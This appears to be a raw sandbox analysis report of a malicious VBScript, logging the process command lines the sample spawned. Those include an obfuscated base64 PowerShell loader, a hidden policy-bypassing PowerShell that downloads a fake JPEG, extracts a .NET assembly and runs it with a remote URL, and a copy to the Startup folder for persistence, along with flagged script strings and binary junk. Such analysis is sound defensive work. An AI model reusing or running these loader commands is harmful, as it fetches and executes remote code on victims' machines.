GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#DE#@$#MgBq#@$#Gg#@$#ZQ#@$#v#@$#Gw#@$#d#@$##@$#v#@$#Dc#@$#Ng#@$#x#@$#C4#@$#MQ#@$#2#@$#DE#@$#Lg#@$#2#@$#DU#@$#MQ#@$#u#@$#DQ#@$#OQ#@$#v#@$#C8#@$#OgBw#@$#HQ#@$#d#@$#Bo#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#LgBJ#@$#G4#@$#dgBv#@$#Gs#@$#ZQ#@$#o#@$#CQ#@$#bgB1#@$#Gw#@$#b#@$##@$#s#@$#C#@$##@$#J#@$#Bh#@$#HI#@$#ZwB1#@$#G0#@$#ZQBu#@$#HQ#@$#cw#@$#p#@$##@$#==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00003372) Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.912jhe/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00001464, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.912jhe/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")57:Td81,"apters Information ") WcnInfoFile.WriteLine("-------------------------------") WcnInfoFile.WriteLine("") strQuery = "Select * from Win32_NetworkAdapter " Set AdapterProp = objWMIService.ExecQuery _ (strQuery) For Each objFile in AdapterProp WcnInfoFile.WriteLine("") WcnInfoFile.WriteLine("---------------------") WcnInfoFile.WriteLine("DeviceID : " + objFile.DeviceID ) WcnInfoFile.WriteLine("---------------------")WcnInfoFile.WriteLine("- Adapter Type: " + objFile.AdapterType )WcnInfoFile.WriteLine("- Auto Sense: " + objFile.AutoSense )WcnInfoFile.WriteLine("- Description : " + objFile.Description )WcnInfoFile.WriteLine("- NetConnectionID : " + objFile.NetConnectionID )WcnInfoFile.WriteLine("- GUID : " + objFile.GUID )WcnInfoFile.WriteLine("- MACAddress : " + objFile.MACAddress )WcnInfoFile.WriteLine("- Manufacturer : " + objFile.Manufacturer )WcnInfoFile.WriteLine("-" (Indicator: " win32_networkadapter"; File: "EGK.vbs.bin") "service is running' In WOA build, FileSharing is disabled - hence this QTIURNKUIBZUZBLMUETCDTLINIVVZCBXSPRQOOOZJXUQFFRMACVNGHLWIZGJRPVFACCKKUXGQTSFZUDIQJUWHNQKDUIOHEITBOQCCHCFFOXMPFXNWXSHUZYMLRGPMIYs in a prompt' which halts the script at that point and netsh trace stop can go on indefinitely strComputer = "." Set objWmiService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") strQuery = "Select * from WIN32_Service where Name = 'lanmanserver' AND Started = True" Set objService = objWmiService.ExecQuery (strQuery) RunCmd "echo.", logFileName RunCmd "echo NET CONFIG SRV:", logFileName If objService.Count = 1 Then RunCmd "net config srv", logFileName Else RunCmd "echo The Server service is not running.", logFileName End If RunCmd "echo.", logFileName RunCmd "echo NET SHARE:", logFileName If objService.Count = 1 Then RunCmd "net share", logFileName Else RunCmd "echo The Server servic" (Indicator: " win32_service"; File: "EGK.vbs.bin"), "known", "Unknown", "Enabled", "Disabled") vlanModeArray = Array("Unknown","Access","Trunk","Private") PvlanModeArray = Array("Unknown","Isolated","Community","Promiscuous") monitorModeArray = Array("None","Destination","Source") aclActionArray = Array("Unknown","Allow","Deny","Meter") aclDirectionArray = Array("Unknown","Inbound","Outbound") aclApplicabilityArray = Array("Unknown","Local","Remote") aclTypeArray = Array("Unknown","MAC","IPv4","IPv6") isolationModeArray = Array("None","NativeVirtualSubnet","ExternalVirtualSubnet","VLAN") iovInterruptModerationArray = Array("Default", "Adaptive", "Off", "Low", "Medium", "High") strQuery = "Select * from WIN32_Service where Name = 'vmms' AND Started = True" Set objVmmsService = objCimService.ExecQuery (strQuery) If objVmmsService.Count > 0 Then Set xmlDoc = CreateObject("Microsoft.XMLDOM") Set objRoot = xmlDoc.createElement("VmswitchInfo") xmlDoc.appendChild objRoot" (Indicator: " win32_service"; File: "EGK.vbs.bin") "strQuery = "Select * from Win32_NetworkAdapter "" (Indicator: " win32_networkadapter"; File: "EGK.vbs.bin") "strQuery = "Select * from WIN32_Service where Name = 'lanmanserver' AND Started = True"" (Indicator: " win32_service"; File: "EGK.vbs.bin") "strQuery = "Select * from WIN32_Service where Name = 'vmms' AND Started = True"" (Indicator: " win32_service"; File: "EGK.vbs.bin")58:T1894,Process "powershell.exe" with commandline "powershell -command [System.IO.File]::Copy('C:\\EGK.vbs','%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\ LD.vbs')" (UID: 00000000-00002792) Process "powershell.exe" with commandline "-command $Codigo = 'J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#VQBy#@$#Gw#@$#I#@$##@$#9#@$#C#@$##@$#JwBo#@$#HQ#@$#d#@$#Bw#@$#HM#@$#Og#@$#v#@$#C8#@$#dQBw#@$#Gw#@$#bwBh#@$#GQ#@$#Z#@$#Bl#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBu#@$#HM#@$#LgBj#@$#G8#@$#bQ#@$#u#@$#GI#@$#cg#@$#v#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBz#@$#C8#@$#M#@$##@$#w#@$#DQ#@$#Lw#@$#1#@$#DY#@$#Mw#@$#v#@$#DY#@$#Mg#@$#x#@$#C8#@$#bwBy#@$#Gk#@$#ZwBp#@$#G4#@$#YQBs#@$#C8#@$#dQBu#@$#Gk#@$#dgBl#@$#HI#@$#cwBv#@$#F8#@$#dgBi#@$#HM#@$#LgBq#@$#H#@$##@$#ZQBn#@$#D8#@$#MQ#@$#2#@$#Dk#@$#M#@$##@$#5#@$#DM#@$#MQ#@$#4#@$#DU#@$#NQ#@$#n#@$#Ds#@$#J#@$#B3#@$#GU#@$#YgBD#@$#Gw#@$#aQBl#@$#G4#@$#d#@$##@$#g#@$#D0#@$#I#@$#BO#@$#GU#@$#dw#@$#t#@$#E8#@$#YgBq#@$#GU#@$#YwB0#@$#C#@$##@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBO#@$#GU#@$#d#@$##@$#u#@$#Fc#@$#ZQBi#@$#EM#@$#b#@$#Bp#@$#GU#@$#bgB0#@$#Ds#@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#dwBl#@$#GI#@$#QwBs#@$#Gk#@$#ZQBu#@$#HQ#@$#LgBE#@$#G8#@$#dwBu#@$#Gw#@$#bwBh#@$#GQ#@$#R#@$#Bh#@$#HQ#@$#YQ#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FU#@$#cgBs#@$#Ck#@$#Ow#@$#k#@$#Gk#@$#bQBh#@$#Gc#@$#ZQBU#@$#GU#@$#e#@$#B0#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBU#@$#GU#@$#e#@$#B0#@$#C4#@$#RQBu#@$#GM#@$#bwBk#@$#Gk#@$#bgBn#@$#F0#@$#Og#@$#6#@$#FU#@$#V#@$#BG#@$#Dg#@$#LgBH#@$#GU#@$#d#@$#BT#@$#HQ#@$#cgBp#@$#G4#@$#Zw#@$#o#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#EI#@$#eQB0#@$#GU#@$#cw#@$#p#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#FM#@$#V#@$#BB#@$#FI#@$#V#@$##@$#+#@$#D4#@$#Jw#@$#7#@$#CQ#@$#ZQBu#@$#GQ#@$#RgBs#@$#GE#@$#Zw#@$#g#@$#D0#@$#I#@$##@$#n#@$#Dw#@$#P#@$#BC#@$#EE#@$#UwBF#@$#DY#@$#N#@$#Bf#@$#EU#@$#TgBE#@$#D4#@$#Pg#@$#n#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#PQ#@$#g#@$#CQ#@$#aQBt#@$#GE#@$#ZwBl#@$#FQ#@$#ZQB4#@$#HQ#@$#LgBJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#TwBm#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#p#@$#Ds#@$#J#@$#Bl#@$#G4#@$#Z#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#Ek#@$#bgBk#@$#GU#@$#e#@$#BP#@$#GY#@$#K#@$##@$#k#@$#GU#@$#bgBk#@$#EY#@$#b#@$#Bh#@$#Gc#@$#KQ#@$#7#@$#CQ#@$#cwB0#@$#GE#@$#cgB0#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwBl#@$#C#@$##@$#M#@$##@$#g#@$#C0#@$#YQBu#@$#GQ#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#ZwB0#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Ds#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#C#@$##@$#Kw#@$#9#@$#C#@$##@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#RgBs#@$#GE#@$#Zw#@$#u#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ds#@$#J#@$#Bi#@$#GE#@$#cwBl#@$#DY#@$#N#@$#BM#@$#GU#@$#bgBn#@$#HQ#@$#a#@$##@$#g#@$#D0#@$#I#@$##@$#k#@$#GU#@$#bgBk#@$#Ek#@$#bgBk#@$#GU#@$#e#@$##@$#g#@$#C0#@$#I#@$##@$#k#@$#HM#@$#d#@$#Bh#@$#HI#@$#d#@$#BJ#@$#G4#@$#Z#@$#Bl#@$#Hg#@$#Ow#@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bp#@$#G0#@$#YQBn#@$#GU#@$#V#@$#Bl#@$#Hg#@$#d#@$##@$#u#@$#FM#@$#dQBi#@$#HM#@$#d#@$#By#@$#Gk#@$#bgBn#@$#Cg#@$#J#@$#Bz#@$#HQ#@$#YQBy#@$#HQ#@$#SQBu#@$#GQ#@$#ZQB4#@$#Cw#@$#I#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#Ew#@$#ZQBu#@$#Gc#@$#d#@$#Bo#@$#Ck#@$#Ow#@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBD#@$#G8#@$#bgB2#@$#GU#@$#cgB0#@$#F0#@$#Og#@$#6#@$#EY#@$#cgBv#@$#G0#@$#QgBh#@$#HM#@$#ZQ#@$#2#@$#DQ#@$#UwB0#@$#HI#@$#aQBu#@$#Gc#@$#K#@$##@$#k#@$#GI#@$#YQBz#@$#GU#@$#Ng#@$#0#@$#EM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#KQ#@$#7#@$#CQ#@$#b#@$#Bv#@$#GE#@$#Z#@$#Bl#@$#GQ#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#C#@$##@$#PQ#@$#g#@$#Fs#@$#UwB5#@$#HM#@$#d#@$#Bl#@$#G0#@$#LgBS#@$#GU#@$#ZgBs#@$#GU#@$#YwB0#@$#Gk#@$#bwBu#@$#C4#@$#QQBz#@$#HM#@$#ZQBt#@$#GI#@$#b#@$#B5#@$#F0#@$#Og#@$#6#@$#Ew#@$#bwBh#@$#GQ#@$#K#@$##@$#k#@$#GM#@$#bwBt#@$#G0#@$#YQBu#@$#GQ#@$#QgB5#@$#HQ#@$#ZQBz#@$#Ck#@$#Ow#@$#k#@$#HQ#@$#eQBw#@$#GU#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#Bs#@$#G8#@$#YQBk#@$#GU#@$#Z#@$#BB#@$#HM#@$#cwBl#@$#G0#@$#YgBs#@$#Hk#@$#LgBH#@$#GU#@$#d#@$#BU#@$#Hk#@$#c#@$#Bl#@$#Cg#@$#JwBG#@$#Gk#@$#YgBl#@$#HI#@$#LgBI#@$#G8#@$#bQBl#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#I#@$##@$#9#@$#C#@$##@$#J#@$#B0#@$#Hk#@$#c#@$#Bl#@$#C4#@$#RwBl#@$#HQ#@$#TQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#K#@$##@$#n#@$#FY#@$#QQBJ#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#YQBy#@$#Gc#@$#dQBt#@$#GU#@$#bgB0#@$#HM#@$#I#@$##@$#9#@$#C#@$##@$#L#@$##@$#o#@$#Cc#@$#d#@$#B4#@$#HQ#@$#Lg#@$#5#@$#DE#@$#MgBq#@$#Gg#@$#ZQ#@$#v#@$#Gw#@$#d#@$##@$#v#@$#Dc#@$#Ng#@$#x#@$#C4#@$#MQ#@$#2#@$#DE#@$#Lg#@$#2#@$#DU#@$#MQ#@$#u#@$#DQ#@$#OQ#@$#v#@$#C8#@$#OgBw#@$#HQ#@$#d#@$#Bo#@$#Cc#@$#KQ#@$#7#@$#CQ#@$#bQBl#@$#HQ#@$#a#@$#Bv#@$#GQ#@$#LgBJ#@$#G4#@$#dgBv#@$#Gs#@$#ZQ#@$#o#@$#CQ#@$#bgB1#@$#Gw#@$#b#@$##@$#s#@$#C#@$##@$#J#@$#Bh#@$#HI#@$#ZwB1#@$#G0#@$#ZQBu#@$#HQ#@$#cw#@$#p#@$##@$#==';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('#@$#','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD" (UID: 00000000-00003372) Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.912jhe/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00001464)59:Ta67,Process "powershell.exe" with commandline "-windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/563/621/original/universo_vbs.jpeg?1690931855';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<>';$endFlag = '<>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ('txt.912jhe/lt/761.161.651.49//:ptth');$method.Invoke($null, $arguments)"" (UID: 00000000-00001464, Additional Context: "%WINDIR%\System32\WindowsPowerShell\v1.\powershell.exe" windowstyle hidden executionpolicy bypss NoProfile command "$imageUrl 'https://uploaddeimagens.com.br/images/4/563/621/original/universo_vbs.jpeg?169931855'[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) [System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>)[System.Text.Encoding]::UTF8.GetString($imageBytes).IndexOf(<>) + <>.Length4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311[System.Reflection.Assembly]::Load(4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB12B9BB2DAE29E4B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB8493114D2CACB5E9937B1B449DCA1D8A78144C5F67AD4ADAE29E8A66A781CAD7AC22775EC4E7C11213AE43434B2B2D7A64DEC6D1277287629E51317C19EB52B6B8A782299A81E72B5EB89DD7B139F4484EB849311).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, ,('txt.912jhe/lt/761.161.651.49//:ptth')); K+-zd��'r�b��+k�x"��+^�+��M�mw(v)�Q1|�R��)��r��9�@HN�I0M,��{D��xL_z��)��f�x�z�'u�N|�44��M�mw(v)�Q1|�R��)��r��9�@HN�I0")5a:T1b58,Found string "oWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu.Run cmd, 0, True Set WcnInfoFile= FSO.OpenTextFile(outputFileName, 8, True) WcnInfoFile.WriteLine("") WcnInfoFile.WriteLine("") WcnInfoFile.WriteLine("-----------------------") WcnInfoFile.WriteLine("+ WCN Files Information ") WcnInfoFile.WriteLine("-----------------------") WcnInfoFile.WriteLine("") strComputer = "." Set shell = WScript.CreateObject( "WScript.Shell" ) windir = shell.ExpandEnvironmentStrings("%windir%\system32\") Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Dim FileSet FileSet = Array("wcncsvc.dll", "wcnapi.dll", "fdwcn.dll", "wcneapauthproxy.dll", "wcneappeerproxy.dll", "wcnwiz.dll", "wcnnetsh.dll", "wczdlg.dll") For Each file in FileSet filename = windir + file strQuery = "Select * from CIM_Datafile Where Name = '" + Replace(filename, "\", "\\") + "'" Set fileProp = objWMIService.ExecQ" (Indicator: "root\cimv2"; in File: "EGK.vbs.bin") Found string "mes = Array("ExtensibilityDLL", "UIExtensibilityCLSID", "GroupName", "DiagnosticsID") HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ strComputer & "\root\default:StdRegProv") strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\" objReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, adapterSet For Each adapter In adapterSet If StrComp("Properties", adapter) Then fullstrKeyPath = strKeyPath + adapter objReg.GetDWORDValue HKEY_LOCAL_MACHINE, fullstrKeyPath, "*IfType", ifType If ifType = 71 Then for I = 0 to UBound(adapterDetailNames) objReg.GetStringValue HKEY_LOCAL_MACHINE, fullstrKeyPath, adapterDetailRegValNames(I), info outputFile.WriteLine(adapterDetailNames(I) + " = " + info) Next ihvKeyPath = fu" (Indicator: "winmgmts:"; in File: "EGK.vbs.bin") Found string "riverDesc" "NetCfgInstanceId" "MatchingDeviceId" "DriverDate" "DriverVersion" "ProviderName") HKEY_LOCAL_MACHINE = &H80000002 strComputer = "." Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_ strComputer & "\root\default:StdRegProv") strKeyPath = "SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}\" objReg.EnumKey HKEY_LOCAL_MACHINE strKeyPath adapterSet For Each adapter In adapterSet If StrComp("Properties", adapter) Then fullstrKeyPath = strKeyPath + adapter objReg.GetDWORDValue HKEY_LOCAL_MACHINE fullstrKeyPath "*IfType" ifType If ifType = 6 Then for I = 0 to UBound(adapterDetailNames) objReg.GetStringValue HKEY_LOCAL_MACHINE fullstrKeyPath adapterDetailRegValNames(I) info outputFile.WriteLine(adapterDetailNames(I) + " = " + info) Next out" (Indicator: "winmgmts:"; in File: "EGK.vbs.bin"), Found string "service is running' In WOA build, FileSharing is disabled - hence this QTIURNKUIBZUZBLMUETCDTLINIVVZCBXSPRQOOOZJXUQFFRMACVNGHLWIZGJRPVFACCKKUXGQTSFZUDIQJUWHNQKDUIOHEITBOQCCHCFFOXMPFXNWXSHUZYMLRGPMIYs in a prompt' which halts the script at that point and netsh trace stop can go on indefinitely strComputer = "." Set objWmiService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") strQuery = "Select * from WIN32_Service where Name = 'lanmanserver' AND Started = True" Set objService = objWmiService.ExecQuery (strQuery) RunCmd "echo." logFileName RunCmd "echo NET CONFIG SRV:" logFileName If objService.Count = 1 Then RunCmd "net config srv" logFileName Else RunCmd "echo The Server service is not running." logFileName End If RunCmd "echo." logFileName RunCmd "echo NET SHARE:" logFileName If objService.Count = 1 Then RunCmd "net share" logFileName Else RunCmd "echo The Server servic" (Indicator: "root\cimv2"; in File: "EGK.vbs.bin") Found string "logFileName & " 2>&1" cIycKhveQtlyWzMWKwWbGoDegWcOWDJtImdnRqLhRSUOiGJWsgOCHziyDKObloWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu.Run cmd, 0, TrueEnd Sub' Add XML node entrySub AddXmlNodeEntry(xmlDoc, entryName, entryValue, parentEntry, entryObject) On Error Resume Next Set entryObject = xmlDoc.createElement(entryName) If (IsNull(entryValue) = False) Then entryObject.Text = entryValue End If parentEntry.appendChild entryObjectEnd Sub' Dump Vmswitch StateSub GetVmswitchInfo(outputFileName) On Error Resume Next strComputer = "." Set objCimService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") onOffState = Array("On", "Off") reservationMode = Array("Default", "Weight", "Absolute", "None") nicTypeArray = Array("Synthetic", "Emulated", "Internal", "External") extensionTypeArray = Array("Unknown", "Capture", "Filter", "Forwarding", "Monitoring", "Native") enabledStatesArray = Array("Un" (Indicator: "root\cimv2"; in File: "EGK.vbs.bin"), Found string "Set objVirtualizationService = GetObject("winmgmts:\\" & strComputer & "\root\virtualization\v2") strQuery = "Select * from MSVM_VirtualEthernetSwitch" Set switches = objVirtualizationService.ExecQuery (strQuery) For Each switch in switches Call 